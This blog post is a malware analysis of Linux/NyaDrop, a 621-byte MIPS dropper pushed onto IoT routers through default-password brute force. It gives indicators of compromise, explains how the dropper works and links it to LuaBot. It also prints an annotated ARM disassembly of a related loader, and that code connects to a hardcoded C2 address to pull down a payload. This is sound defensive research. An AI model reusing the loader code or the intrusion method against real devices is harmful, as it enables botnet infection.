MMD-0058-2016 - Linux/NyaDrop - a linux MIPS IoT bad news

8 years ago 306

BOOK THIS SPACE FOR AD

ARTICLE AD

Background

Since the end of September 2016 I received a new type of attacks that aims the MIPS platform I provided to detect IoT attacks. I will call this threat as new ELF Linux/NyaDrop as per the name used by threat actor himself, for the "nyadrop" binary that is dropped in the compromised system.

This is not the "really" first time we're seeing this threat actually, in this year, some small events was detected on having these attacks which I ignored for some reasons, and on May 22th, me and hFiref0x of KernelMode was in a convo regarding to the threat which was detected. It was obviously the same threat (proof is as per picture below, thanks to hFiref0x for the ping that time).

On May's event, the attack was so poorly arranged so the infection wasn't occurred due to the lack of UNIX background of the bad actor. And I did not want to post it in anywhere, hopefully he will be always as dumb as per that state.

In the end of September 2016, a wave of attacks using IoT known factory hardcoded default login credential that was recently exposed on some blackhat events, was raising a lot of ELF threat to "come back" and race to infect the known IoT vulnerable sector. And during the session, the Linux/NyaDrop's loader attacks was re-surfacing again, and this time it got better (a bit), so I decided to write in this post as public awareness. For the purpose I made forensic records since early Octtober 2016 for the conducted attacks on specific platform aimed, MIPS CPU architecture, implying routers and similar networking devices, with 32bit clock.

This post is informing you about the information related to the attack, records of several attack pattern, the dropped binary analysis in reverse engineering. You may can get the hazards to be use detect and mitigate the threat, and further precaution. The complete log is shared to law enforcement. Beforehand, I thank FreeBSD foundation to the free & open source platform which I conduct all of my research, radare2 for the one and only reversing platform I use, and Linux for the great OS that is successfully implemented into plenty of IoT, and also Mr.Michel Oosterhof for his effort in improving a good tool.

The detail is in the following sections..

NyaDrop attack indicators

There are some indicators that can be used to detect this attack, the first pattern is the login "Failed attempt" and then followed by the "Success attempt" of login credential of the aimed IoT. The time for getting success attempt is very short, indicated the bruce force work.

The Fail then success attempt can be shown as per below:

In this attack the credential "5up", was used as first brute login.

The one shot attack with a success attempt can be shown as per below:

And below are the several pattern of failed attacks:

I think the last patterns is the most seen pattern by the honeypot users. You have to be as "cameleon" to Linux MIPS IoT system in characteristic to fulfill the herder's checks for then he will "grant" you to the Linux/NyaDrop binary :-)

This attack was keep on coming while I was writing this blog:

Some points to be noticed in these attacks are:

Russian IP address as source of threat: { "ip": "46.172.91.20", "hostname": "No Hostname", "country": "RU", "loc": "55.7386,37.6068", "org": "AS35390 PE Masyuk Natalya" } The specific Dahua IPC-HFWxxx old type vulnerable password was the one used to let this in, but that depends on how we apply our traps. The binary injected during the attack is the ELF malware Linux/NyaDrop: nyadrop: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, stripped The attacker is not "greedy" to infect, the herder is starting attacks from his spreader/loader in some session to some specific IP targets to then aim other targets while stopping the previous ones, it goes all over without a rapid rotation. It seems like the herder want to keep distribution of Linux/NyaDrop as "silent mode" as possible.. The usage of the string "test" and the ELF injected hex strings via echo -n -e with or without STD_OUT to save is the current active indicator for this infection. Attacker is intentionally aiming MIPS, by checking the "cpuinfo" to be sure which CPU that the device is running, they don't infect my ARM or PPC devices, but yet again, it depends on how you plan to trap them.

How ELF Linux/Nyadrop works

The successfully installed malware file in the MIPS system is the Linux malware backdoor and dropper, I call it as ELF Linux/NyaDrop malware, with the function to open an internet socket (AF_INET) to remotely connect to the remote host for receiving data of any Linux executable stream intended to infect the previously Linux/NyaDrop compromised machine. The stream of received data to then be saved as "nya" ELF malware file and then to be executed by Linux/NyaDrop with its permission privilege on the targeted MIPS cpu architecture device.

The "nya" dropped file will be deleted everytime the next new attacks are successfully logged in to the MIPS machine and then updating the previously saved "nya" malware. This method is so generic and flexible for the attacker to update the botnet component, the backdoor (Linux/NyaDrop) itself, and can be arranged without giving many trace of executables. Further, during unsuccessful attack or the "obviously-detected-honeypot", neither the binary of "nyadrop" will be saved/infected successfully, following also the "nya" binary one. This is why the malware sample is not much spotted.

Linux/Nyadrop ELF binary analysis

As per mentioned in the above sections, the ELF binary of MIPS x32, static and stripped, was saved with the name of the "nyadrop" on the targeted MIPS device. The header is as follows:

SHA1 (nyadrop) = "095bb52056d00f0d93bba78e4b5b56313de7b79f" Size = "621 bytes" "ELF Header:" Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, big endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: MIPS R3000 Version: 0x1 Entry point address: 0x400090 Start of program headers: 52 (bytes into file) Start of section headers: 500 (bytes into file) Flags: 0x10001004, cpic, o32, mips2 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 2 Size of section headers: 40 (bytes) Number of section headers: 3 Section header string table index: 2 "Section Headers:" [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .text PROGBITS 00400090 000090 000150 00 AX 0 0 16 [ 2] .shstrtab STRTAB 00000000 0001e0 000011 00 0 0 If you see the size, we are dealing with a small executable file. It's a clean libc compiled ELF from coded in C in such form that we see much in shellcodes. Insides is filled with the MIPS opcodes. We dealt before with the similar small ELF malware before in the following posts in here [link] and here [link], I will try to deal with this one too :)

Small size yes? But it is amazing to see what this small malicious ELF can do..

There's not so much strings that can be extracted by this binary..

However, the ASCII keyword of "ny4Ba" is a good way to grep for the easy filtration or one of the condition in filtering this malware (current) version for the mitigation / signature purpose.

Reversing the ELF Linux/Nyadrop

For the reversing method. I was using my usual way like with previous ELF malware or botnet analysis, with using radare2, some syscall analyzers in skeleton2 and some manual opcode reading.

Let's see reversing pad with a lot of comments I made in the screenshot below for the details on how this binary works, you'll get the idea better than reading my long explanation.

PS: Generally, the malicious functions in this ELF malware was reversed well. But please bear for some "bad reading" on some MIPS opcodes or address, which I think I may miss some few minor parts. Switching from Intel to ARM, PPC and MIPS opcodes reading is sometimes a bit hard to adapt quickly. Moreover I had only several hours to translate them to catch my sleeping time.

Who is behind this Linux/NyaDrop

A spotted incident was reported that the "nya" file dropped by Linux/NyaDrop was Linux/LuaBot sample, unfortunately I can not have the consent to publish the detail from the victim. Seeking further of this relation the Linux/LuaBot relation to the Linux/NyaDrop can be clearly shown in the recent method used by LuaBot's coder/herder to infect compromised routers by Linux/NyaDrop, as per seen below:

Detection, sample and follow-ups

The detection is bad, and you can expect multiple hash will be created per injected ELF of Linux/NyaDrop due to its nature of infection. Please avoid the hash base signature since it will be very meaningless, just as the Linux/Mayhem case [link](drop-able by spreader via multiple circumstances by script/shell).

Below is the screenshot I took AFTER I uploaded the sample to the VirusTotal:

*) You can click the picture for directly viewing the report in VirusTotal.

I understand that many people may not be as lucky as I am in gaining the sample of this threat. There is a good explanation for it, and that, I can not describe openly in this post for the security reason, since the known very bad actor who involved to this threat are reading this blog too (yeah, by now, I know who you are skiddo, so we meet AGAIN in this threat too).

My tip for trapping this threat better is: Give the bad actors anything he wants. Since I received so many requests from fellow research and IR folks for the sample, I will share the sample to the good vetted close research community. In the mean time please bear with the Virus Total sharing [link]
If you need the text data of my reversing draft or log as per screenshot ones, or more questions on howto grab this samples better, please contact me, all data is available to be shared to good guys only.

[additional] ELF NyaDrop differences to "s_malware" (later I defined as Hajime ELF loader)

WARNING: This section is a research material in a friendly manners, and it is NOT affected any entities to whom any related individual is working with or working for, these are strictly exchange friendly reversing opinions between malware researchers.

My friend Mr. Korolev, a good Linux threat researcher & reverser, was bringing this issue to my attention (with thank's). as he informed:

The first time I saw the tweet, what I had in mind was: Why all of my ARM wasn't hit then? Since I have much more ARM devices than MIPS in all over internet now, it should fetch something than just only few of MIPS. The second thought was.. I must get off this bus to check this sample it..this just "can't wait!" (..so I did, opening my OSX and checked the sample in a bus halt afterward). Thank you for Dr. J. Ulrich from SANS ISC to bring this up to us for the awareness.

So I replied with below:

With further elaboration:

...with an extra "howler" from r2 devleader "pancake" for being "cought-in-the-act" using r2 older (FreeBSD port) version...cry :'-/

Twitter is VERY limited to explain the stuff thoroughly, so allow me to elaborate some details in here:

Mr. Korolev was not incorrect by saying the s_malware ELF trojan dropped in Dr. Johannes B. Ullrich,Ph.D., of ISC reported case [link] as s_malware, as "similar" in type of trojan to Linux/NyaDrop, which is a backdoor, and a file dropper, however, it is not Linux/NyaDrop nor coded in same C code as Linux/NyaDrop, so it could be made by different coder or actor or threat scene.

Dissecting s_malware (later I call this as Hajime malware loader)

In s short explanation about how this ARM s_malware works is: it uses syscall sys_socketcall() to create a sys_socket and then uses uses syscall sys_socketcall() again to call connect() to open a connection to the remote address saved in the struct in hex format hardcoded in the binary, and uses sys_socketcall() again for now invoking system call sys_revc() to read data sent from remote host via AF_INET, and lastly to then directly calling sys_write() to print the sent data to STDOUT if the stream of data is still in coming, or to exit if the data is ended.

It is a smallest way to code (in programming perspective) since it seems only uses two linux syscalls address number and one service_0(interrupt used to call exit) or the overall operations, yet it is a bad idea (in malware perspective) since it is so guessable (I think I remember all socketcall number), the values in net.h for socketcall numberis easy to remember, the usage of svc0 (=interrupt 80 in intel) to invoke syscall exit() by passing arguments of unistd_{YOUR_BIT}.h which it is also very readable, at least to me :)

Understanding that the ELF header and program headers are well, and entry0 is where the execution code starts, I break it down per opcodes to understand how it assembly command works, with the result like below, (replacing diagram flow picture), with commenting the process that is actually happen behind those commands. The result is as follows:

0x10054 | __entry0 | | 0x10054 | | mov | r0, #2 ; socket domain = 2 // AF_INET 0x10058 | | mov | r1, #1 ; socket type = 1 // SOCK_STREAM 0x1005c | | mov | r2, #6 ; socket protocol = 6 // TCP 0x10060 | | stmfd | sp!, {r0-r2} ; (restore) {NULL} 0x10064 | | mov | r0, #1 ; socketcall ref number = 1 => sys_socket 0x10068 | | mov | r1, sp ; set pointer of array args to socket() 0x1006c | | svc | 0x900066 ; sys_socketcall=> socket(AF_INET, SOCKSTREAM, 6) 0x10070 | | add | sp, sp, #0xc ; sockfd 0x10074 | | mov | r6, r0 0x10078 | | adr | r1, c2_struct ; c2_struct{AF_INET ; port = 4636 ; ip = 190.147.88.66} 0x1007c | | mov | r2, #0x10 ; connect length = 16 0x10080 | | stmfd | sp!, {r0-r2} ; (restore) sockfd 0x10084 | | mov | r0, #3 ; socketcall ref number = 3 => sys_connect 0x10088 | | mov | r1, sp ; set pointer of array args to connect() 0x1008c | | svc | 0x900066 ; sys_socketcall => connect() 0x10090 | | add | sp, sp, #0x14 ; (for asm ops //20) 0x10094 | | sub | r4, sp, #0x13c ; (for asm ops //316) 0x10098 | | sub | r5, r5, r5 ; initiate counter with r5 0x1009c | __rcv_loop__ | | 0x1009c | | mov | r0, r6 ; stack base reset/back 0x100a0 | | mov | r1, r4 0x100a4 | | mov | r2, #0x12c ; recv buffer = 300 0x100a8 | | mov | r3, #0x100 ; recv size = 256 0x100ac | | stmfd | sp!, {r0-r3} ; (restore) sockfd 0x100b0 | | mov | r0, #0xa ; socketcall ref number = 0xA = sys_recv 0x100b4 | | mov | r1, sp ; set pointer of array args to recv() 0x100b8 | | svc | 0x900066 ; sys_socketcall => sys_recv (sockfd, buffer, size, flag) 0x100bc | | add | sp, sp, #0x10 ; (for asm ops //16) 0x100c0 | | add | r5, r5, r0 ; counting counter loops, see ends in r0 0x100c4 | | cmp | r0, #0 ; compare if r0 = 0, for exit NOERR flag as args 0x100c8 | | ble | __to_exit__ 0x100cc | | mov | r2, r0 0x100d0 | | mov | r0, #1 ; r0 = 1; target arg for write() = 1 => STDOUT 0x100d4 | | mov | r1, r4 0x100d8 | | svc | 0x900004 ; write(STDOUT, data, 256); 0x100dc | | b | __rcv_loop__ 0x100e0 | __to_exit__ | | 0x100e0 | | add | sp, sp, #0x13c ; (for asm ops //136) 0x100e4 | | sub | r0, r0, r0 ; nulling r0 0x100e8 | | mov | r7, #1 ; arg 1 sent for svc_0 0x100ec | | svc | 0 ; svc_0 got arg number 1 (unistd.h) = sys_exit(0) 0x100f0 | c2_struct | db 0x2 ; 2 = AF_INET 0x100f1 | | db 0x0 ; delimeter 0x100f2 | | db 0x1c12 ; port_number = hex (1c12) = 4636 0x100f4 | | db 0x425893be ; ip = hex(be 83 58 42) = 190.147.88.66

See the above code and compare to how Linux/NyaDrop was coded in reversing section on Nyadrop loader.

The reasons that s_malware ELF is not the Linux/NyaDrop are:

(1) Linux/NyaDrop is directly using syscall number address for syscall connect() and syscall recv(), instead using syscall socketcall() index to invoke socket, connect or recv for receiving the data from connected remote host.
(2) Linux/NyaDrop is using syscall execve() to execute the dropped file after writing data into "nya" file was done, but there's no usage of any execution syscalls is made in the s_malware. Instead Nyadrop is PIPE-ing the resut into STDOUT to be redirected to a file by either script or other command. so it is just a download/loader module of shell/program that is having execution part.
(3) The "nya" filename is only hard-codedin the ELF nyadrop binary.

There are plenty of small ELF backdoors/backconnect using the similar or even smarter concept in unixland. Linux/NyaDrop was designed as a sophisticated form in a smaller size as possible (621 bytes) with all correct calls coded intact. s_malware is about 484 bytes. There are more ways to make it even smaller, but remember this, that also will reveal the source of the coder well too.

The s_malware in hex:

You can see in hex that the ELF structure of s_malware file is a bit different than NyaDrop.

Thank you for the News & Internet Media publishment

This section is dedicated to the IT threat journalists, who are so kindly help to raise awareness on Linux/NyaDrop threat. Their fast action and the effort in learning the indicators and nature of the NyaDrop threat is just marvellous, we have nothing to give these gents back except our hard work, thank you, and respect. Following are the notification and for others who hasn't been mentioned I am sorry, and will update as soon as I cam. Again, thank you.

Thank you to "Softpedia" & Mr. Catalin Cimpanu for speedy understanding & grasping the importance of awareness for Linux/NyaDrop in releasing the awareness of the threat by his article-->[link]. You can read a good summary for the threat in here.

Many thank's for "Odisseus", whitehat researcher and/or Mr. Pierluigi Paganini of "Security Affrair" for the interview arrangement on Linux/NyaDrop, you can see in this article-->[link]. You can read the insights details about the threat information, which was "cleverly" asked by Odisseus in here.

I thank also Mr. David M. Bisson of "Graham Cluley Blog" article [link], and Mr. Ionut Arghire with summarizing recent updates on Linux/NyaDrop in "Security Week" article [link].

Stay save friends!